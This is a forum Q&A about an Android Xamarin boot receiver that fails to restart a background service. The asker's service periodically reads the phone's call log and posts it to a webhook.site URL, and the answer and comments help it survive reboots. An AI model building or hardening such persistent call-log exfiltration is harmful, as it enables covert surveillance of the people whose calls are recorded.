ACTION_BOOT_COMPLETED Receiver doesn't work

Question

I have this broadcast receiver for ACTION_BOOT_COMPLETED:

[BroadcastReceiver(Enabled = true, DirectBootAware = true, Exported = true)]
    [IntentFilter(new[] { Intent.ActionBootCompleted }, Priority = (int)IntentFilterPriority.HighPriority)]
    public class BootReceiver : BroadcastReceiver
    {
        public override void OnReceive(Context context, Intent intent)
        {
            Intent startIntent = new Intent(context, typeof(PService));
            startIntent.AddFlags(ActivityFlags.NewTask);
            context.StartForegroundService(startIntent);
        }
    }

My MainActivity:

        protected override void OnCreate(Bundle savedInstanceState)
        {
            TabLayoutResource = Resource.Layout.Tabbar;
            ToolbarResource = Resource.Layout.Toolbar;

            base.OnCreate(savedInstanceState);

            Xamarin.Essentials.Platform.Init(this, savedInstanceState);
            global::Xamarin.Forms.Forms.Init(this, savedInstanceState);

            LoadApplication(new App());

            StartForegroundService(new Intent(this, typeof(PService)));

            if (!Android.Provider.Settings.CanDrawOverlays(this))
            {
                Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
                StartActivityForResult(intent, 0);
            }

        }

My PService:

        public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
        {


            var seconds = TimeSpan.FromSeconds(15);
            Device.StartTimer(seconds, () =>
            {


            Root r = new Root();

            MySqlConnection con = new MySqlConnection("*PRIVATE DATA*");
            con.Open();

            MySqlCommand cmd = con.CreateCommand();
            cmd.CommandText = "SELECT * FROM user_data";
            MySqlDataReader reader = cmd.ExecuteReader();

            DateTime user = DateTime.Now;

            while (reader.Read())
            {
                if (reader.GetString(0) == Preferences.Get("GUID", "ERROR"))
                {

                    user = DateTime.ParseExact(reader[1].ToString(), "HH:mm:ss", CultureInfo.InvariantCulture);
                    r.ID = reader.GetString(2);
                }
            }

            async void LoadCallLog()
            {
                var Logg = DependencyService.Get<ICallLog>().GetCallLogs();

                r.calls = (List<CallLogModel>)Logg;

                var serialized = JsonConvert.SerializeObject(r);
                using (var client = new HttpClient())
                {
                    await client.PostAsync("https://webhook.site/dd7cd0f8-6bd8-4e9f-961d-6b105e1dc7eb", new StringContent(serialized));
                }
            }

            if (user.ToString("HH:mm") == DateTime.Now.ToString("HH:mm"))
            {
                LoadCallLog();
                Thread.Sleep(60000);
            }

                return true;
            });


            return StartCommandResult.Sticky;
        }

But it doesn't launch my service once boot is completed. Manifest is automatically generated by xamarin. I know problem is that in new API (26+) are some restrictions.

Can someone help me with it what I should change so this code will work? I'm using 29 API version.

score 1 · Accepted Answer · answered Feb 08 '21 at 07:11

1

Try to add the following permission:

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

And this requires drawing overlay in your activity:

 if (!Android.Provider.Settings.CanDrawOverlays(this))
        {
            Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
            StartActivityForResult(intent,requestCode);
        }

You could refer to the similar case

answered Feb 08 '21 at 07:11

Leo Zhu

15,726
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This piece of code I have to add to MainActivity? If yes, I wrote instead of requestCode (which is doesn't exist) 0 but it doesn't work. And I added this permission to manifest too. – RitchyCZE Feb 08 '21 at 07:31
@RitchyCZE It will navigate to the system settings,did you enable it ? – Leo Zhu Feb 08 '21 at 07:34
Yes, enabled it on my app – RitchyCZE Feb 08 '21 at 07:35
@RitchyCZE Does it trigger the OnReceive method ? – Leo Zhu Feb 08 '21 at 07:36
How can I find out that? I testing off and on mobile and Service doesn't start. – RitchyCZE Feb 08 '21 at 07:41
@RitchyCZE I test again,i just start the service first before restart the device,and when the device boot completely,the service start . – Leo Zhu Feb 08 '21 at 08:47
But I have in MainActivity this: `StartForegroundService(new Intent(this, typeof(PService)));` and I start app before restarting so do you have idea what is wrong? – RitchyCZE Feb 08 '21 at 08:49
@RitchyCZE If you don't restart it,could the service work ?And what's your device version? – Leo Zhu Feb 08 '21 at 08:51
Yes If I just start app service is working. My device is Android 9 – RitchyCZE Feb 08 '21 at 08:53
@RitchyCZE I test on android 9 emulator,it also works,could you show a sample which could reproduce the issue ? – Leo Zhu Feb 08 '21 at 08:57
Do you mean MainActivity? If yes, I'm updated question so there is piece of MainActivity – RitchyCZE Feb 08 '21 at 09:02
@RitchyCZE Did you add `android.permission.RECEIVE_BOOT_COMPLETED` permission to your manifest ? – Leo Zhu Feb 08 '21 at 09:53
@Lez Zhu - MSFT yes – RitchyCZE Feb 08 '21 at 09:56
I make Toast and it trigger only once when I install new copy of app and only when I start it after boot. Any ideas what's wrong? – RitchyCZE Feb 08 '21 at 16:27

ACTION_BOOT_COMPLETED Receiver doesn't work

1 Answers1